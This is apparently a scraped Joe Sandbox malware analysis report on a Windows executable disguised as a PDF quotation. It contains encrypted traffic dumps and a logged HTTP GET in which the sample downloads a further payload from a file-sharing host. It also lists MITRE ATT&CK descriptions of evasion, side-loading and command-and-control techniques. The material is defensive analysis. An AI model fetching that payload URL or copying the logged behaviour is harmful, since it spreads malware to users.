{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8UIjMc65AWYMx5ELqR5bAC6jS3W4uij4dmdKtMnczn6TH%2FlLJHKNbL7oUFdmZ82F%2FiV04tPqVR9VZT%2F6aW56Qp%2BsAvsobQt1X86ZPfhpfUDlt8CPwLtDT%2Fyun8NoI%2BqoOUuo9t6n"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd421f14fe643f9-EWR
2024-10-04 09:26:50 UTC	343	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:26:50 UTC	1369	IN	Data Raw: b1 49 bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b Data Ascii: IK>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEp
2024-10-04 09:26:50 UTC	1369	IN	Data Raw: 47 8f 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 Data Ascii: GwH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdx
2024-10-04 09:26:50 UTC	1369	IN	Data Raw: a7 70 dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 Data Ascii: p&J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<
2024-10-04 09:26:50 UTC	1369	IN	Data Raw: 17 7d 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 Data Ascii: }Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:26:50 UTC	1369	IN	Data Raw: c8 a6 df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O
2024-10-04 09:26:50 UTC	1369	IN	Data Raw: 49 66 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 Data Ascii: IfSv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+V
2024-10-04 09:26:50 UTC	1369	IN	Data Raw: 6c a6 f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa Data Ascii: lBjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0
2024-10-04 09:26:50 UTC	1369	IN	Data Raw: 2f a1 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 Data Ascii: /ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0X
2024-10-04 09:26:50 UTC	1369	IN	Data Raw: 64 bc 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a Data Ascii: dNc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50295	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:52 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:53 UTC	1070	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:26:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=5ptgr2v23d3qumvvb9egomqhnr; expires=Fri, 18-Oct-2024 09:26:53 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/ujJxsCTJ7UiK cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NpxiTp289UVw9vusA5B7aDXeihuXEiOtG%2FsqYrNcQ9WnLUKiXq9zhmR8Fg99J4NwD6PKJsKB%2FjSCKgy6xB4PSXnI%2F4XZ7pEWaSOznNjh8hy%2Bh85ZeyTGnQeiyk7yHIs4W%2Fc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd422054afb429a-EWR
2024-10-04 09:26:53 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 75 6a 4a 78 73 43 54 4a 37 55 69 4b 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/ujJxsCTJ7UiK">Please click here to continue</a>.</p>
2024-10-04 09:26:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

Analysis Process: QUOTATION_OCTQTRA071244PDF.scr.exePID: 7484, Parent PID: 2580

General

Target ID:	0
Start time:	05:22:46
Start date:	04/10/2024
Path:	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe"
Imagebase:	0x2105c8b0000
File size:	1'929'216 bytes
MD5 hash:	CBD14BDFFD1CD9896494F1FFF3C4E701
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: QUOTATION_OCTQTRA071244PDF.scr.exePID: 7484, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9B8008A1 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4144832346.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b800000_QUOTATION_OCTQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a59ce1f6db12ad270b9d5664766294920beaa372bdf4ab1575bf00c5498eaa
Instruction ID: b0db88daf98088ba83cbbed0555bfdbe470a182ec9c84b78ea6539a62268472c
Opcode Fuzzy Hash: 06a59ce1f6db12ad270b9d5664766294920beaa372bdf4ab1575bf00c5498eaa
Instruction Fuzzy Hash: 3A513621F1ED9D0FEBA5AB6844756B977D1EF99380B4600F6D04DC72E7DD186D024382

Function 00007FFD9B800A65 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4144832346.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b800000_QUOTATION_OCTQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bd27119f7bb3fa7797710fd7035e5dba6446caffc78d71d47357ced7050f1f9
Instruction ID: bb8fe2da9f137810162527cfcc0e1038b16113a774e8bae1e6d2828432cbda99
Opcode Fuzzy Hash: 5bd27119f7bb3fa7797710fd7035e5dba6446caffc78d71d47357ced7050f1f9
Instruction Fuzzy Hash: FE41C021F1990D4FEB98EBAC98A56FC77E2EF9D340B4501BAD04DD72A6CE242C428740

Function 00007FFD9B80088A Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4144832346.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b800000_QUOTATION_OCTQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a97b78c9a159db3c73bce292e80f70d0fe70af8720bafbbe33aa11c4010b96f3
Instruction ID: a380f74348fce489d344546bd785c4fc3d8885a5b7353eb41fa5321ef3c9709d
Opcode Fuzzy Hash: a97b78c9a159db3c73bce292e80f70d0fe70af8720bafbbe33aa11c4010b96f3
Instruction Fuzzy Hash: 14B01210EDB80F06CD0476F648D60D032109F4C208FC50070DC0C44047D84D25950372

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QUOTATION_OCTQTRA071244PDF.scr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Analysis Process: QUOTATION_OCTQTRA071244PDF.scr.exePID: 7484, Parent PID: 2580

General

Windows Analysis Report
QUOTATION_OCTQTRA071244PDF.scr.exe